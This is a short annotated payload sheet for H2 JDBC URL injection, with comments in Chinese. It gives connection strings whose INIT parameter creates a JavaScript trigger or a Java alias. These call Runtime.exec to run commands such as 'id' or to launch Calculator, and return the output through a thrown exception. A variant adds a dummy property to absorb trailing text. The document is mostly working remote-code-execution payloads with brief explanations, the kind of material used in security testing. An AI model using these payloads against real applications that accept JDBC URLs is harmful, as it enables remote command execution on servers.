jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
var is = java.lang.Runtime.getRuntime().exec("id").getInputStream()
var scanner = new java.util.Scanner(is).useDelimiter("\\A")
throw new java.lang.Exception(scanner.next())
$$;
--jdbc:h2:mem:test; 进入(不存在则创建)名为test的纯内存数据库
--MODE=MSSQLServer; 把 H2 切到 SQL Server 兼容模式
--INIT=... 连接建立时先执行一段初始化 SQL
--CREATE TRIGGER ... AS $$//javascript ... 在数据库里注册一个触发器,并把触发器逻辑写成脚本
结果以异常的形式被抛出
JDK
jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS EXEC AS 'String rce(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "test";}';CALL EXEC ('open -a Calculator.app');
jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
var is = java.lang.Runtime.getRuntime().exec("id").getInputStream()
var scanner = new java.util.Scanner(is).useDelimiter("\\A")
throw new java.lang.Exception(scanner.next())
$$;XXX=\
--jdbc:h2:mem:test; 进入(不存在则创建)名为test的纯内存数据库
--MODE=MSSQLServer; 把 H2 切到 SQL Server 兼容模式
--INIT=... 连接建立时先执行一段初始化 SQL
--CREATE TRIGGER ... AS $$//javascript ... 在数据库里注册一个触发器,并把触发器逻辑写成脚本
--XXX=\使用一个已知或未知的属性接收多余字符串